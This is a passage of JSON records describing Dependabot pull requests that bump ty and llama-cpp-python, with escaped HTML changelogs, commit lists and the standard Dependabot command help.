--\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/blob/main/CHANGELOG.md\"\u003ety's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.35\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-10.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow ParamSpec specialization through unioned generic classes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24826\"\u003e#24826\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix cross-file find-references for keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25043\"\u003e#25043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix comparison between negative and positive literal integers (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25023\"\u003e#25023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReject dataclass decorator parameters based on supported Python version (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25029\"\u003e#25029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdjust start of block folding range to preserve visible header for character-precise LSP clients. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24917\"\u003e#24917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEmit folding ranges from the language server for multi-line block headers. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24978\"\u003e#24978\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip global search for references if identifier is not externally visible (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25033\"\u003e#25033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSpeed-up find-references by using multithreading for cross-file searches (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25042\"\u003e#25042\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude severity in JUnit diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25080\"\u003e#25080\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCheck non-generic overload implementations (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24936\"\u003e#24936\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExpand support for narrowing within walruses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24968\"\u003e#24968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilter overloads based on return type for ParamSpec mapping (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24769\"\u003e#24769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove support for recursive types (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24773\"\u003e#24773\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring mixed constructors (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25039\"\u003e#25039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring string keys (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25037\"\u003e#25037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve NewType and TypeAliasType in implicit aliases (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25072\"\u003e#25072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type cntext for generator expression yields (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25069\"\u003e#25069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type context for boolean operands (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25070\"\u003e#25070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSelectively promote a union of homogeneous fixed-length tuples to a single variadic tuple (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24705\"\u003e#24705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport narrowing on \u003ccode\u003e__class__\u003c/code\u003e checks (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24997\"\u003e#24997\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse more precise exception types when catching a union (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25076\"\u003e#25076\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDiagnostics\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude error context for overload consistency diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24950\"\u003e#24950\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCache results in desperate module resolution (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24977\"\u003e#24977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLazily initialize builder when transforming a union type (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24929\"\u003e#24929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProject reachability constraints before narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24982\"\u003e#24982\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip parameter accumulation for object variadics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24976\"\u003e#24976\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/bc12d1cade50bc9407486057116fa0538bfb31ac\"\u003e\u003ccode\u003ebc12d1c\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.35 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3436\"\u003e#3436\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/fb34d89e4acb379f6d8239d338881a6d1cce6642\"\u003e\u003ccode\u003efb34d89\u003c/code\u003e\u003c/a\u003e Build riscv64 manylinux binary (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3402\"\u003e#3402\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/05def00f5eb67a599b314e1d550b4ce07ae08727\"\u003e\u003ccode\u003e05def00\u003c/code\u003e\u003c/a\u003e Update maturin to v1.13.1 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3417\"\u003e#3417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/569c081af4159100bfe7be97624da9ef9910d8c8\"\u003e\u003ccode\u003e569c081\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3416\"\u003e#3416\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/608f8ff6e705b656392a89a1cf4e0b977fb10ab4\"\u003e\u003ccode\u003e608f8ff\u003c/code\u003e\u003c/a\u003e Update renovate configuration (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3379\"\u003e#3379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/518b61d7c2a2eff95e8826a9bba4a392574258b0\"\u003e\u003ccode\u003e518b61d\u003c/code\u003e\u003c/a\u003e Update uraimo/run-on-arch-action action to v3.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3405\"\u003e#3405\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/55429594f26e78d277b29aaadc10ca46f9277148\"\u003e\u003ccode\u003e5542959\u003c/code\u003e\u003c/a\u003e Update pre-commit hook astral-sh/ruff-pre-commit to v0.15.12 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3404\"\u003e#3404\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/astral-sh/ty/compare/0.0.34...0.0.35\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/yuyash/neural-trace/pull/7","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuyash%2Fneural-trace/issues/7","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/7/packages"},{"uuid":"4373812008","node_id":"PR_kwDOQ3Mfec7X3ZX1","number":120,"state":"closed","title":"chore(deps): update llama-cpp-python requirement from \u003e=0.2.50 to \u003e=0.3.22 in /ai-service","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-05-04T03:21:08.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-04T03:18:25.000Z","updated_at":"2026-05-04T03:21:16.000Z","time_to_close":163,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): update","packages":[{"name":"llama-cpp-python","old_version":"\u003e=0.2.50","new_version":"\u003e=0.3.22","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":"/ai-service","ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.21]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f53577432 and sync Python bindings\u003c/li\u003e\n\u003cli\u003efix(ci): Build one arm64 release wheel for \u003ccode\u003epy3-none\u003c/code\u003e wheel publishing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/14d7846f9a7c043901cb98bd446764377a8def6e\"\u003e\u003ccode\u003e14d7846\u003c/code\u003e\u003c/a\u003e fix(ci): skip unsupported Windows CUDA versions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2204\"\u003e#2204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/bc6ff9f2cc5545c180d8c3db4128d3ad48a31575\"\u003e\u003ccode\u003ebc6ff9f\u003c/code\u003e\u003c/a\u003e fix(ci): install CUDA CCCL headers for wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2203\"\u003e#2203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/04a3638b2637b0b6f1b843d16a679fbf7d2dd375\"\u003e\u003ccode\u003e04a3638\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA compiler arg for Windows detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2202\"\u003e#2202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/2bfd80c1c5fadd6bd95bb57e7332438cca5521cd\"\u003e\u003ccode\u003e2bfd80c\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA unsupported compiler flag during detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2201\"\u003e#2201\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/9cf0ce7c2094c40d7166f3cc92f00f2c2236af4f\"\u003e\u003ccode\u003e9cf0ce7\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.22 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2200\"\u003e#2200\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d2113a14441f7d811b34f4aeee917449ad1da1b9\"\u003e\u003ccode\u003ed2113a1\u003c/code\u003e\u003c/a\u003e feat(ci): re-enable Windows CUDA wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2198\"\u003e#2198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/587d94a8c31943e3bcbcccbbd2721867da52a9de\"\u003e\u003ccode\u003e587d94a\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@63d93d173 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2197\"\u003e#2197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c6dc90555be7bedda2d15f516b3ccd6252130a0f\"\u003e\u003ccode\u003ec6dc905\u003c/code\u003e\u003c/a\u003e fix(docs): update mkdocstrings inventories config (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2195\"\u003e#2195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d2bcbac46605f11d382426dd88d67e8b5c124cd7\"\u003e\u003ccode\u003ed2bcbac\u003c/code\u003e\u003c/a\u003e fix(ci): Scope CPU release wheel selectors by OS (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2194\"\u003e#2194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/195cc59a187687ca64c8e0939e5e549d456aa2fb\"\u003e\u003ccode\u003e195cc59\u003c/code\u003e\u003c/a\u003e fix(ci): Repair py3 CPU release wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2193\"\u003e#2193\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.50...v0.3.22\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/InfinityZero3000/LexiLingo/pull/120","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/InfinityZero3000%2FLexiLingo/issues/120","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/120/packages"},{"uuid":"4332722503","node_id":"PR_kwDOR1ZDN87VziVF","number":23,"state":"open","title":"chore(deps): update llama-cpp-python requirement from \u003e=0.3.0 to \u003e=0.3.20","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-27T02:26:59.000Z","updated_at":"2026-04-27T02:26:59.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): update","packages":[{"name":"llama-cpp-python","old_version":"\u003e=0.3.0","new_version":"\u003e=0.3.20","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF 